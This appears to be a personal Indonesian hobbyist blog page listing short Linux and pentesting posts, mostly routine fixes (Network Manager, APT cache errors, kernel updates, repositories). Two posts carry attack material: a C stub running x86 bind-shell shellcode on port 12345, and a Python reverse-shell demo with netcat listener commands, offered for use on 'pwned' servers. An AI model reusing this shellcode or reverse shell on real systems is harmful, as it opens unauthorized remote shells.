iseng nyoba

#include <stdio.h>
char shell[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80"
"\x96\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x66\x58\x50"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89"
"\xdf\xff\xe1";
int main(void) {
       ((void (*)(void))shell)(); // str()
        return 0;
}

scan:

root@deepmind:~# nmap localhost

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-15 08:51 WIT
Interesting ports on localhost (127.0.0.1):
Not shown: 999 closed ports
PORT      STATE SERVICE
12345/tcp open  netbus

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

memunculkan icon Network Manager di ubuntu 10.04

sedikit catatan:fuuuuuuuuuhhhh.. tulisan ini ditulis 3 hari menjelang releasenya ubuntu 10.10, dan saya tidak berencana me-clean install ubuntu 10.04 saya dengan 10.10, karena capek, mending dist-upgrade aja ntar.

oke ceritanya saya sering menemukan kejadian bahwa icon Network Manager di bagian kanan atas sering menghilang setelah booting, dan ternyata kayaknya kok banyak yang dapatin seperti ini, nah ini solusinya tanpa reboot, biar gak ribet

edit file /etc/NetworkManager/nm-system-settings.conf
seperti ini

[main]
plugins=ifupdown,keyfile

[ifupdown]
managed=true

lalu dari terminal ketikkan:

killall gnome-panel

dan taraaaaaa muncul lagi tuh anak :)

fixing error “Dynamic MMap ran out of room” di debian

huuuuuuffffff (ekspresi lebay) mendapat sedikit masalah ketika melakukan update di ubuntu saya :(
let’s the words show:

1.duduk permasalahan:

shadow@puppet:~$ sudo apt-get upgrade
Reading package lists... Error!
E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)
E: Error occurred while processing libgtksourceview2.0-0 (NewFileVer1)
E: Problem with MergeList /var/lib/dpkg/status
W: Unable to munmap
E: The package lists or status file could not be parsed or opened.

2. lalu mencoba:

shadow@puppet:~$ sudo apt-get autoclean
Reading package lists... Error!
E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)
E: Error occurred while processing libgtksourceview2.0-0 (NewFileVer1)
E: Problem with MergeList /var/lib/dpkg/status
W: Unable to munmap
E: The package lists or status file could not be parsed or opened.

hmmmmmm :( masalah ada di bagian
Read more of this post

menambahkan tools Backtrack 4 di ubuntu 10.04

steps:
1. download & add key

akfsec@Indonesia:~$ wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -ok-

2. tambahkan baris:

deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse

di /etc/apt/sources.list

3.update repository

akfsec@Indonesia:~$ sudo apt-get update

4.selesai bisa dilihat di synaptic :D

ubuntu pentest edition

versi undergorund dari ubuntu, Ubuntu Pentest Edition, distro untuk forensic dan pentesting silahkan check di:
Ubuntu Pentest Edition
thanks.

update kernel ubuntu 10.04

update kernel baru:
1. download:

http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.34-lucid/linux-source-2.6.34_2.6.34-020634_all.deb

http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.34-lucid/linux-image-2.6.34-020634-generic_2.6.34-020634_i386.deb

http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.34-lucid/linux-headers-2.6.34-020634_2.6.34-020634_all.deb

http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.34-lucid/linux-headers-2.6.34-020634-generic_2.6.34-020634_i386.deb

2.simpan ke folder misal ~/Desktop/kernel/
Read more of this post

simple hello world asm32

sedikit kisah tentang belajar assembly 32 bit di lingkungan linux:

section .data
pesan db "Hello world",10 ; variable pesan berisi "Hello world" dan diakhiri nilai 10 yaitu newline
len equ $-pesan ; panjang string adalah mengurangi address di baris ini dengan alamat string

section .text

global _start

_start:

mov edx,11 ; panjang string dimasukkan register edx
mov ecx,pesan ; alamat memory yang menyimpan string dimasukkan ke dalam register ecx
mov ebx,1 ; 1 adalah stdout
mov eax,4 ;syscall 4 adalah sys_write()
int 0x80 ; interup untuk eksekusi

xor ebx, ebx ; memberi nilai 0 pada ebx setelah bernilai 1, nilai default adalah 0
mov eax,1 ; syscall exit
int 0x80

compiling, linking dan eksekusi

akfsec@Indonesia:~/program/asm32$ nasm -f elf helloworld.asm
akfsec@Indonesia:~/program/asm32$ ld -o helloworld helloworld.o
akfsec@Indonesia:~/program/asm32$ ./helloworld
Hello world

reverse shell written in python

sedikit hasil coding dengan cara seksama dan dalam tempo yang sesingkat2nya :) , reverse shell, bisa digunakan dan dikembangkan sebagai alternatif jika bertemu pwned server yang didisable untuk php shell :)

untuk penggunaanya disiapkan dulu listening port nya, misal:

nc -l 12345

contoh penggunaan:
di box kita:

r3dsh4d0w@deepmind:~$ nc -l 12345

di box yang mengeksekusi reverseshell:

akfsec@Indonesia:~/program/python$ id
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)
akfsec@Indonesia:~/program/python$ ./reverseshell.py 192.168.1.2 12345

hasil di box listen:

r3dsh4d0w@deepmind:~$ nc -l 12345
w00t!!, succesfully connected
please wait while getting the prompt
Enjoy dude...
id    
uid=1000(akfsec) gid=1000(akfsec) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(akfsec)

untuk sourcenya:
Read more of this post

simple and quick way installing metasploit in ubuntu

this just a simple installing metsploit framework in ubuntu:

after downloaded and extracted the newest metasploit from metasploit web
$ sudo apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems

simple way without any explanations.

regard
-AKF-

Follow

Get every new post delivered to your Inbox.